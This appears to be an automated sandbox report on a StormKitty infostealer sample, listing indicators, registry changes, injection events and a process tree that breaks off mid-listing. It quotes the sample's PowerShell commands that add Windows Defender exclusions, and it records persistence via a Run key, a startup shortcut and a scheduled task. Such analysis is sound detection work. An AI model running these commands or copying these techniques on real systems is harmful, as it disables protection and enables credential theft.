stormkitty | c3e67eaa81c08b734fd310644df2e2777e86fb89e37eeaa5a5f542528f4cf4f3

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	powershell.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/4060-81-0x000000001C8C0000-0x000000001C9DE000-memory.dmp	family_stormkitty

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4060 created 1392	4060	XClient.exe	104

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\International\Geo\Nation	XClient.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	XClient.exe

Executes dropped EXE 5 IoCs

pid	Process
1080	svchost.exe
5660	svchost.exe
4548	svchost.exe
4480	svchost.exe
1420	svchost.exe

Loads dropped DLL 1 IoCs

pid	Process
4060	XClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	XClient.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
115	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	XClient.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4060 set thread context of 4572	4060	XClient.exe	133

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4304	sc.exe
3304	sc.exe
1808	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	XClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	XClient.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4584	schtasks.exe

Enumerates system info in registry 2 TTPs 16 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	XClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133444724979867366"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe

Modifies registry class 23 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1320	explorer.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
4256	powershell.exe
4256	powershell.exe
4588	powershell.exe
4588	powershell.exe
4588	powershell.exe
4340	powershell.exe
4340	powershell.exe
4340	powershell.exe
1912	powershell.exe
1912	powershell.exe
1912	powershell.exe
4060	XClient.exe
4060	XClient.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
3308	powershell.exe
3308	powershell.exe
3376	chrome.exe
3376	chrome.exe
3648	msedge.exe
3648	msedge.exe
5908	msedge.exe
5908	msedge.exe
5412	identity_helper.exe
5412	identity_helper.exe
5816	chrome.exe
5816	chrome.exe
3376	chrome.exe
3376	chrome.exe
4060	XClient.exe
4060	XClient.exe
4060	XClient.exe
4060	XClient.exe
4060	XClient.exe
4060	XClient.exe
5024	chrome.exe
5024	chrome.exe
4060	XClient.exe
4060	XClient.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5024	chrome.exe
5024	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	XClient.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	4060	XClient.exe
Token: SeDebugPrivilege	1080	svchost.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	1688	whoami.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	1848	whoami.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeShutdownPrivilege	3376	chrome.exe
Token: SeCreatePagefilePrivilege	3376	chrome.exe
Token: SeShutdownPrivilege	3376	chrome.exe
Token: SeCreatePagefilePrivilege	3376	chrome.exe
Token: SeShutdownPrivilege	3376	chrome.exe
Token: SeCreatePagefilePrivilege	3376	chrome.exe
Token: SeShutdownPrivilege	3376	chrome.exe
Token: SeCreatePagefilePrivilege	3376	chrome.exe
Token: SeShutdownPrivilege	3376	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
3376	chrome.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5908	msedge.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5816	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe
5024	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1320	explorer.exe
1320	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4060 wrote to memory of 4256	4060	XClient.exe	95
PID 4060 wrote to memory of 4256	4060	XClient.exe	95
PID 4060 wrote to memory of 4588	4060	XClient.exe	99
PID 4060 wrote to memory of 4588	4060	XClient.exe	99
PID 4060 wrote to memory of 4340	4060	XClient.exe	102
PID 4060 wrote to memory of 4340	4060	XClient.exe	102
PID 4060 wrote to memory of 1912	4060	XClient.exe	106
PID 4060 wrote to memory of 1912	4060	XClient.exe	106
PID 4060 wrote to memory of 4584	4060	XClient.exe	109
PID 4060 wrote to memory of 4584	4060	XClient.exe	109
PID 4060 wrote to memory of 4304	4060	XClient.exe	120
PID 4060 wrote to memory of 4304	4060	XClient.exe	120
PID 4060 wrote to memory of 4788	4060	XClient.exe	121
PID 4060 wrote to memory of 4788	4060	XClient.exe	121
PID 4060 wrote to memory of 1688	4060	XClient.exe	123
PID 4060 wrote to memory of 1688	4060	XClient.exe	123
PID 4060 wrote to memory of 3452	4060	XClient.exe	124
PID 4060 wrote to memory of 3452	4060	XClient.exe	124
PID 4060 wrote to memory of 2160	4060	XClient.exe	125
PID 4060 wrote to memory of 2160	4060	XClient.exe	125
PID 2160 wrote to memory of 3304	2160	powershell.exe	127
PID 2160 wrote to memory of 3304	2160	powershell.exe	127
PID 2160 wrote to memory of 4276	2160	powershell.exe	128
PID 2160 wrote to memory of 4276	2160	powershell.exe	128
PID 2160 wrote to memory of 1848	2160	powershell.exe	130
PID 2160 wrote to memory of 1848	2160	powershell.exe	130
PID 2160 wrote to memory of 3680	2160	powershell.exe	131
PID 2160 wrote to memory of 3680	2160	powershell.exe	131
PID 2160 wrote to memory of 1808	2160	powershell.exe	132
PID 2160 wrote to memory of 1808	2160	powershell.exe	132
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4060 wrote to memory of 4572	4060	XClient.exe	133
PID 4572 wrote to memory of 3308	4572	cvtres.exe	134
PID 4572 wrote to memory of 3308	4572	cvtres.exe	134
PID 4572 wrote to memory of 3308	4572	cvtres.exe	134
PID 3308 wrote to memory of 4048	3308	powershell.exe	136
PID 3308 wrote to memory of 4048	3308	powershell.exe	136
PID 3308 wrote to memory of 4048	3308	powershell.exe	136
PID 4572 wrote to memory of 3376	4572	cvtres.exe	140
PID 4572 wrote to memory of 3376	4572	cvtres.exe	140
PID 3376 wrote to memory of 3384	3376	chrome.exe	141
PID 3376 wrote to memory of 3384	3376	chrome.exe	141
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142
PID 3376 wrote to memory of 1612	3376	chrome.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1912
- C:\Windows\System32\schtasks.exe
